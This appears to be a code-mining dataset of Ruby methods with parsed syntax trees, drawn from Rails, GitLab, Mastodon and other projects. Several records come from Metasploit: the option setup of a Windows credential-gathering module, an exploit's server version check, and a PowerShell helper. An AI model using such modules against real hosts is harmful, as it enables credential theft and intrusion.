{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/flock.rb","start_line":65,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Flock Credential Gatherer',\n        'Description' => %q{\n          This module searches for credentials stored in Flock on a Windows host.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Kazuyoshi Maruta',\n          'Daniel Hallsworth',\n          'Barwar Salim M',\n          'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org\n        ],\n        'Platform' => ['win'],\n        'SessionTypes' => ['meterpreter'],\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [],\n          'SideEffects' => []\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),\n        OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),\n        OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),\n        # enumerates the options based on the artifacts that are defined below\n        OptEnum.new('ARTIFACTS', [\n          false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map do |k|\n                                                          k[:filetypes]\n                                                        end.uniq.unshift('All')\n        ])\n      ]\n    )\n  end","complexity_score":19.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Flock Credential Gatherer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module searches for credentials stored in Flock on a Windows host.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Kazuyoshi Maruta\"]},{\"type\":\"str\",\"children\":[\"Daniel Hallsworth\"]},{\"type\":\"str\",\"children\":[\"Barwar Salim M\"]},{\"type\":\"str\",\"children\":[\"Z. Cliffe Schreuders\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptRegexp\"]},\"new\",{\"type\":\"str\",\"children\":[\"REGEX\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Match a regular expression\"]},{\"type\":\"str\",\"children\":[\"^password\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"STORE_LOOT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Store artifacts into loot database\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"EXTRACT_DATA\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Extract data and stores in a separate file\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptEnum\"]},\"new\",{\"type\":\"str\",\"children\":[\"ARTIFACTS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Type of artifacts to collect\"]},{\"type\":\"str\",\"children\":[\"All\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"gatherable_artifacts\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filetypes\"]}]}]},\"uniq\"]},\"unshift\",{\"type\":\"str\",\"children\":[\"All\"]}]}]}]}]}]}]}]}","id":"df847b67-893f-43b1-851c-b9e4f600c3be"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/webhooks/app/components/webhooks/outgoing/deliveries/row_component.rb","start_line":15,"raw_source":"def response_code\n          if log.response_code <= 0\n            I18n.t(:label_none_parentheses)\n          else\n            log.response_code\n          end\n        end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"response_code\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\"]},\"response_code\"]},\"<=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"label_none_parentheses\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\"]},\"response_code\"]}]}]}","id":"38b958d6-b86e-424a-bb83-c3f8e70c6377"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/usage/event_selection_rule.rb","start_line":41,"raw_source":"def redis_key_for_date(date = Date.today)\n        redis_key(nil, date)\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"redis_key_for_date\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"date\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"today\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redis_key\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"date\"]}]}]}","id":"c072345b-0dc7-4497-8b83-e064020cfda8"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/cookies_test.rb","start_line":166,"raw_source":"def set_permanent_cookie\n      cookies.permanent[:user_name] = \"Jamie\"\n      head :ok\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_permanent_cookie\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookies\"]},\"permanent\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"user_name\"]},{\"type\":\"str\",\"children\":[\"Jamie\"]}]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]}","id":"ac7b965b-7148-4b40-9e15-9e36a148fa71"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/table_helpers/table.rb","start_line":72,"raw_source":"def wednesday = monday + 2.days","complexity_score":3.75,"ast_json":"{\"type\":\"def\",\"children\":[\"wednesday\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"monday\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"days\"]}]}]}","id":"531351d0-63c4-4fb0-b168-f0b69776943e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb","start_line":56,"raw_source":"def check\n    connect\n\n    sock.put(\"0000000019rxrGetServerVersion\")\n    ver = sock.get_once\n\n    disconnect\n\n    if (ver and ver =~ /11\\.1\\.742/)\n      return Exploit::CheckCode::Appears\n    end\n\n    return Exploit::CheckCode::Safe\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"str\",\"children\":[\"0000000019rxrGetServerVersion\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ver\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ver\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ver\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"11\\\\.1\\\\.742\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"e28a98db-da39-47bb-930b-70dd235ccf7e"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_web_server.rb","start_line":76,"raw_source":"def test_header_is_too_long\n    long = \"GET /test HTTP/1.1\\r\\n\" + (\"X-Big: stuff\\r\\n\" * 15000) + \"\\r\\n\"\n    assert_raises Errno::ECONNRESET, Errno::EPIPE, Errno::ECONNABORTED, Errno::EINVAL, IOError do\n      do_test_raise(long, long.length/2, 10)\n    end\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_header_is_too_long\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"long\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"GET /test HTTP/1.1\\r\\n\"]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"X-Big: stuff\\r\\n\"]},\"*\",{\"type\":\"int\",\"children\":[15000]}]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ECONNRESET\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"EPIPE\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ECONNABORTED\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"EINVAL\"]},{\"type\":\"const\",\"children\":[null,\"IOError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"do_test_raise\",{\"type\":\"lvar\",\"children\":[\"long\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"long\"]},\"length\"]},\"/\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"int\",\"children\":[10]}]}]}]}]}","id":"cd85dec5-64e8-4405-8104-521215dfe3e9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/versioned_description.rb","start_line":17,"raw_source":"def save_description_version\n    self.saved_description_version = nil\n\n    return unless saved_change_to_description?\n\n    unless description_versions.exists?\n      description_versions.create!(\n        description: description_before_last_save,\n        created_at: created_at,\n        preloaded_issuable: self\n      )\n    end\n\n    self.saved_description_version = description_versions.create!(description: description, preloaded_issuable: self)\n  end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"save_description_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"saved_description_version=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"saved_change_to_description?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"description_versions\"]},\"exists?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"description_versions\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"description_before_last_save\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[null,\"created_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"preloaded_issuable\"]},{\"type\":\"self\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"saved_description_version=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"description_versions\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"description\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"preloaded_issuable\"]},{\"type\":\"self\",\"children\":[]}]}]}]}]}]}]}","id":"f6b841bf-478c-44fc-b81a-411cdd53dda7"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/builders/contact_inbox_builder.rb","start_line":37,"raw_source":"def phone_source_id\n    raise ActionController::ParameterMissing, 'contact phone number' unless @contact.phone_number\n\n    @contact.phone_number\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"phone_source_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact\"]},\"phone_number\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"ParameterMissing\"]},{\"type\":\"str\",\"children\":[\"contact phone number\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact\"]},\"phone_number\"]}]}]}","id":"b104f11a-e85d-46e1-92ff-9b6b908ca25b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/milestones_finder.rb","start_line":83,"raw_source":"def by_state(items)\n    Milestone.filter_by_state(items, params[:state])\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"by_state\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"items\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Milestone\"]},\"filter_by_state\",{\"type\":\"lvar\",\"children\":[\"items\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"state\"]}]}]}]}","id":"ed49a707-17ca-448f-b21e-9dac2dd2b3b9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/windows/powershell.rb","start_line":50,"raw_source":"def get_powershell_version\n          return nil unless have_powershell?\n\n          process, _pid, _c = execute_script('$PSVersionTable.PSVersion')\n\n          o = ''\n\n          while (d = process.channel.read)\n            if d == \"\"\n              if (Time.now.to_i - start < time_out) && (o == '')\n                sleep 0.1\n              else\n                break\n              end\n            else\n              o << d\n            end\n          end\n\n          o.scan(/[\\d \\-]+/).last.split[0, 2] * '.'\n        end","complexity_score":38.23,"ast_json":"{\"type\":\"def\",\"children\":[\"get_powershell_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"have_powershell?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"process\"]},{\"type\":\"lvasgn\",\"children\":[\"_pid\"]},{\"type\":\"lvasgn\",\"children\":[\"_c\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_script\",{\"type\":\"str\",\"children\":[\"$PSVersionTable.PSVersion\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"o\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"while\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"d\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"process\"]},\"channel\"]},\"read\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"==\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_i\"]},\"-\",{\"type\":\"send\",\"children\":[null,\"start\"]}]},\"<\",{\"type\":\"send\",\"children\":[null,\"time_out\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"==\",{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"float\",\"children\":[0.1]}]},{\"type\":\"break\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"d\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[\\\\d \\\\-]+\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"last\"]},\"split\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[2]}]},\"*\",{\"type\":\"str\",\"children\":[\".\"]}]}]}]}","id":"848f12a4-6784-494b-9e6b-e895d5327f84"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/asynchronous_queries_test.rb","start_line":45,"raw_source":"def test_async_query_foreground_fallback\n    status = {}\n\n    subscriber = ActiveSupport::Notifications.subscribe(\"sql.active_record\") do |event|\n      if event.payload[:sql] == \"SELECT * FROM does_not_exists\"\n        status[:executed] = true\n        status[:async] = event.payload[:async]\n      end\n    end\n\n    @connection.pool.stub(:schedule_query, proc { }) do\n      if in_memory_db?\n        assert_raises ActiveRecord::StatementInvalid do\n          @connection.select_all \"SELECT * FROM does_not_exists\", async: true\n        end\n      else\n        future_result = @connection.select_all \"SELECT * FROM does_not_exists\", async: true\n        assert_kind_of ActiveRecord::FutureResult, future_result\n        assert_raises ActiveRecord::StatementInvalid do\n          future_result.result\n        end\n      end\n    end\n\n    assert_equal true, status[:executed]\n    assert_equal false, status[:async]\n  ensure\n    ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber\n  end","complexity_score":43.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_async_query_foreground_fallback\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"subscriber\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"subscribe\",{\"type\":\"str\",\"children\":[\"sql.active_record\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sql\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"SELECT * FROM does_not_exists\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"executed\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"async\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"async\"]}]}]}]},null]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"pool\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"schedule_query\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[]},null]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_memory_db?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"StatementInvalid\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"select_all\",{\"type\":\"str\",\"children\":[\"SELECT * FROM does_not_exists\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"async\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"future_result\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"select_all\",{\"type\":\"str\",\"children\":[\"SELECT * FROM does_not_exists\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"async\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"FutureResult\"]},{\"type\":\"lvar\",\"children\":[\"future_result\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"StatementInvalid\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"future_result\"]},\"result\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"executed\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"async\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscriber\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"unsubscribe\",{\"type\":\"lvar\",\"children\":[\"subscriber\"]}]},null]}]}]}","id":"535a8adc-f0e2-41db-83fe-1501024bb0e2"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/activitypub/activity/remove.rb","start_line":29,"raw_source":"def remove_featured_tags\n    name = @object['name']&.delete_prefix('#')\n\n    return if name.blank?\n\n    featured_tag = FeaturedTag.by_name(name).find_by(account: @account)\n    featured_tag&.destroy!\n  end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_featured_tags\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]},\"delete_prefix\",{\"type\":\"str\",\"children\":[\"#\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"featured_tag\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FeaturedTag\"]},\"by_name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"ivar\",\"children\":[\"@account\"]}]}]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"featured_tag\"]},\"destroy!\"]}]}]}","id":"5ffb2e33-d358-42c6-8362-140628a6b144"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/transactions_test.rb","start_line":695,"raw_source":"def test_update_should_rollback_on_failure!\n    author = Author.find(1)\n    posts_count = author.posts.size\n    assert posts_count > 0\n    assert_raise(ActiveRecord::RecordInvalid) do\n      author.update!(name: nil, post_ids: [])\n    end\n    assert_equal posts_count, author.posts.reload.size\n  end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_update_should_rollback_on_failure!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"author\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"posts_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"posts\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts_count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordInvalid\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_ids\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"posts_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"posts\"]},\"reload\"]},\"size\"]}]}]}]}","id":"a0bad2f5-1f4e-4d37-99db-e26e5020ff04"}
